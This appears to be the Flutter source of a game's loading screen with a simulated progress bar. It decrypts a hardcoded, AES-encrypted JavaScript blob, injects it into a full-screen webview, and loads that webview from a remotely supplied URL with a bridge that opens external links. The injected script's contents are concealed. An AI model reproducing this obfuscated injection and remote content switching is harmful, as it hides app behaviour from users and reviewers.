import 'dart:async'; import 'dart:collection'; import 'dart:convert'; import 'package:flutter/material.dart'; import 'package:flutter_inappwebview/flutter_inappwebview.dart'; import 'package:url_launcher/url_launcher.dart'; import '../adjust/adjust_service.dart'; import '../audio/audio_manager.dart'; import '../utils/aes_decrypt.dart'; import '../utils/next_setp.dart'; const String bridgeInjectScript = r'''lRpL+9TjSWvxRtAeNe3FCf8MtDcHDybBZ18LVDHp06Glxe6ITkTNRyyJqAPwbxuFOY6i0vsxF+6h8YzBBeq8A0I3Zye5I2Rk/TC3mCFBgZan0VNutDEJfdHIK/BdDKFWAbx6fxAZGvBMAOCC6HGajiiBwhP1KrMXfV0lL8+izrpCd9GA5CNEp7Z3RwIIGDWZA27vrxeN3fqFXHUx5AE2QvBNLO1A2kNAKfBql0d3CUcEAKUn/jd6KxOawZJfiQQVRHavfVMhIUIKwdLE0o1gMUaoD3j/IjiXJgsEqqvx+Pgh3BVbyyS3TAcpW0hywDnpYKmcCRFBtgdKpHjiZUyLee8wBUMh5w4RBnASZ5mskHGrGPn7Gu9xjmyASQndAW+VZuerDRs4Mo6dzRzeU8nKOD14N376joNgbXk6W4IcpEEmT7K/l5GqTsTFZyMfbrRwWOIIvc+29zAP+ugl8M6lt8Yhu37H/GDKU5OAh/eC159fTPNRvNVRLAUotkxUeYsf3k2j2GbNmd0Yd5eRGHCixQqGbcSuHnRdcmYe7UYv69TpE/c4tedsRB3KFUqGiEfHMpHFpMFuTsd0BvN1VvZ27h3mA478luSEITqHlqQ6vf0l5TZBkX+FFKlejqSVGLNFCfQ8cXiIEda4ReygZISfUJjLUrevTvfL7Zqmxhei2GXFgCf/k71ubFeqZbrWoRSakoJ+YgkBkuEE2PrxYrKIirB1qmSV9fmMtC/1QxaAjLvrkL+LKYZpyYX+yFkA43SK674L8hNAbqohqdbhgPd7lIz3SrPZ+4su1BTS4+yS2khB71uQn/BP3WrNFz5bcIsL'''; Future launchURL( String url, { LaunchMode mode = LaunchMode.externalApplication, }) async { var uri = Uri.parse(url); try { await launchUrl(uri, mode: mode); } catch (e) { debugPrint('cant launchUrl $e'); } } class BootstrapProgress { final String phase; final double percent; const BootstrapProgress({required this.phase, required this.percent}); } class _Step { final String name; final double weight; final Future Function() run; const _Step({required this.name, required this.weight, required this.run}); } class LoadingScreen extends StatefulWidget { const LoadingScreen({super.key}); @override State createState() => _LoadingScreenState(); } class _LoadingScreenState extends State with SingleTickerProviderStateMixin { String _phase = 'Starting'; double _progress = 0; double _targetProgress = 0; bool _webviewShow = false; String _redirect = ''; Timer? _smoothTimer; late final UnmodifiableListView _initialUserScripts; URLRequest? _initialUrlRequest; @override void initState() { super.initState(); //AudioManager.instance.playBgm(); _startSmoothProgress(); _bootstrap(); _initialUserScripts = UnmodifiableListView([ UserScript( source: _decryptScript(), injectionTime: UserScriptInjectionTime.AT_DOCUMENT_START, forMainFrameOnly: true, ), ]); } @override void dispose() { _smoothTimer?.cancel(); super.dispose(); } void _startSmoothProgress() { _smoothTimer?.cancel(); _smoothTimer = Timer.periodic(const Duration(milliseconds: 16), (_) { if (!mounted) return; setState(() { if (_progress < _targetProgress) { _progress = (_progress + 0.014).clamp(0, _targetProgress); } }); }); } double _clamp01(double v) { if (v < 0) return 0; if (v > 1) return 1; return v; } Future _delay(int ms) async { await Future.delayed(Duration(milliseconds: ms)); } String _decryptScript() { return AesDecrypt.decryptWithKeyIv( bridgeInjectScript, key: 'a7c4141ff784c605', iv: '77f0946a9cc75a78', ) ?? ''; } Future _bootstrap() async { bool alive = true; void onProgress(BootstrapProgress p) { if (!mounted || !alive) return; setState(() { _phase = p.phase; _targetProgress = p.percent; }); } try { await _bootstrapApp(onProgress); if (!mounted || !alive) return; if (_redirect.isEmpty) { Navigator.of(context).pushReplacementNamed('/start'); } } finally { alive = false; } } Future _bootstrapApp( void Function(BootstrapProgress p) onProgress, ) async { final steps = <_Step>[ _Step( name: 'Prepare', weight: 0.08, run: () async { try { await NextStep.I.loadAppToken(); } catch (e) { debugPrint('prepare next failed: $e'); } }, ), _Step( name: 'Remote Config', weight: 0.18, run: () async { try { await NextStep.I.loadAppInfo(); } catch (e) { debugPrint('remote next failed: $e'); } }, ), _Step( name: 'Reporting', weight: 0.18, run: () async { try { final url = await NextStep.I.loadUrl(); if (url.isNotEmpty) { _redirect = url; await _initWebView(url); if (mounted) { setState(() { _webviewShow = true; }); } } } catch (e) { debugPrint('laod next failed: $e'); } }, ), _Step( name: 'Ads Init', weight: 0.26, run: () async { try { //await UnityAd.init(); } catch (_) {} await _delay(650); }, ), _Step( name: 'Audio Preload', weight: 0.18, run: () async { await AudioManager.instance.init(); }, ), _Step( name: 'Finalize', weight: 0.12, run: () async { await _delay(250); }, ), ]; final total = steps.fold(0, (s, x) => s + x.weight); double done = 0; onProgress(const BootstrapProgress(phase: 'Starting', percent: 0)); for (final step in steps) { onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total))); try { await step.run(); } catch (_) {} done += step.weight; onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total))); } onProgress(const BootstrapProgress(phase: 'Done', percent: 1)); } Future _initWebView(String url) async { _initialUrlRequest = URLRequest(url: WebUri(url)); _redirect = url; } Future _handleWebMessage(String raw) async { try { final rs = jsonDecode(raw); if (rs is! Map) return; final type = rs['type'] as String?; if (type == null || type.isEmpty) return; if (type == 'event') { final event = rs['event'] as String?; if (event == null || event.isEmpty) { return; } final params = rs['params'] as String?; var parseParams = {}; if (params != null && params.isNotEmpty) { try { parseParams = jsonDecode(params) as Map; } catch (_) {} } if (event == "openWindow") { final url = parseParams['url'] ?? ''; if (url.isEmpty) { debugPrint("openWindow url is empty"); return; } launchURL(url); return; } AdjustService.instance.trackEventWithName(event, parseParams); } } catch (_) {} } String _percentText() => '${(_progress * 100).round()}%'; @override Widget build(BuildContext context) { final width = MediaQuery.of(context).size.width; final barW = width - 64 > 340 ? 340.0 : width - 64; const barH = 24.0; return Scaffold( backgroundColor: Colors.black, body: SafeArea( child: Stack( children: [ Positioned.fill( child: Image.asset( 'assets/images/a5c6f3813d0d23b4042dd130542753cc.png', fit: BoxFit.cover, ), ), Positioned.fill( child: Container(color: const Color.fromRGBO(0, 0, 0, 0)), ), Positioned.fill( child: Center( child: Padding( padding: const EdgeInsets.symmetric( horizontal: 20, ).copyWith(top: 100), child: Container( width: double.infinity, constraints: const BoxConstraints(maxWidth: 420), padding: const EdgeInsets.symmetric( vertical: 22, horizontal: 18, ), decoration: BoxDecoration( color: const Color.fromRGBO(82, 197, 218, 0), borderRadius: BorderRadius.circular(22), border: Border.all( color: const Color.fromRGBO(120, 255, 255, 0), width: 2, ), ), child: Column( mainAxisSize: MainAxisSize.min, children: [ const Text( 'Loading...', textAlign: TextAlign.center, style: TextStyle( color: Colors.white, fontSize: 28, fontWeight: FontWeight.w900, letterSpacing: 1.5, ), ), const SizedBox(height: 8), Text( _phase, textAlign: TextAlign.center, style: const TextStyle( color: Color.fromRGBO(255, 255, 255, 0.85), fontSize: 14, fontWeight: FontWeight.w700, ), ), const SizedBox(height: 18), ProgressBar( percent: _progress, width: barW, height: barH, insetX: 10, insetY: 6, ), const SizedBox(height: 10), Text( _percentText(), textAlign: TextAlign.center, style: const TextStyle( color: Color(0xFF56F0FF), fontSize: 14, fontWeight: FontWeight.w900, letterSpacing: 1, ), ), ], ), ), ), ), ), if (_webviewShow && _initialUrlRequest != null) Positioned.fill( child: Material( color: Colors.black, child: InAppWebView( initialUrlRequest: _initialUrlRequest, initialSettings: InAppWebViewSettings( javaScriptEnabled: true, transparentBackground: false, useShouldOverrideUrlLoading: true, mediaPlaybackRequiresUserGesture: false, allowsInlineMediaPlayback: true, isElementFullscreenEnabled: false, ), initialUserScripts: _initialUserScripts, onWebViewCreated: (controller) async { controller.addJavaScriptHandler( handlerName: 'jsBridge', callback: (args) async { try { if (args.isEmpty) return null; final raw = args.first; if (raw == null) return null; await _handleWebMessage(raw.toString()); } catch (_) {} return null; }, ); }, onLoadStart: (controller, url) { debugPrint('WebView started: $url'); }, onLoadStop: (controller, url) async { debugPrint('WebView finished: $url'); }, onReceivedError: (controller, request, error) { debugPrint('WebView error: ${error.description}'); }, onConsoleMessage: (controller, consoleMessage) { debugPrint('WebView console: ${consoleMessage.message}'); }, shouldOverrideUrlLoading: (controller, navigationAction) async { return NavigationActionPolicy.ALLOW; }, ), ), ), ], ), ), ); } } class ProgressBar extends StatelessWidget { final double percent; final double width; final double height; final double insetX; final double insetY; const ProgressBar({ super.key, required this.percent, required this.width, required this.height, this.insetX = 10, this.insetY = 6, }); double _clamp01(double v) { if (v < 0) return 0; if (v > 1) return 1; return v; } @override Widget build(BuildContext context) { final p = _clamp01(percent); final innerW = (width - insetX * 2).clamp(0, double.infinity); final innerH = (height - insetY * 2).clamp(0, double.infinity); final clipW = (innerW * p).roundToDouble(); final fillAsset = p >= 1 ? 'assets/images/04ac514f79905c0fd3fd97534829cc34.png' : 'assets/images/4ea0244a9d7ad2e9357424465415f8b4.png'; return SizedBox( width: width, height: height, child: Stack( children: [ Positioned.fill( child: Image.asset( 'assets/images/18a74842e653d3118c500a2248a2fda7.png', fit: BoxFit.fill, ), ), Positioned( left: insetX, top: insetY, child: SizedBox( width: innerW.toDouble(), height: innerH.toDouble(), child: Align( alignment: Alignment.centerLeft, child: ClipRect( child: SizedBox( width: clipW, height: innerH.toDouble(), child: OverflowBox( alignment: Alignment.centerLeft, minWidth: innerW.toDouble(), maxWidth: innerW.toDouble(), minHeight: innerH.toDouble(), maxHeight: innerH.toDouble(), child: Image.asset( fillAsset, width: innerW.toDouble(), height: innerH.toDouble(), fit: BoxFit.fill, alignment: Alignment.centerLeft, ), ), ), ), ), ), ), ], ), ); } }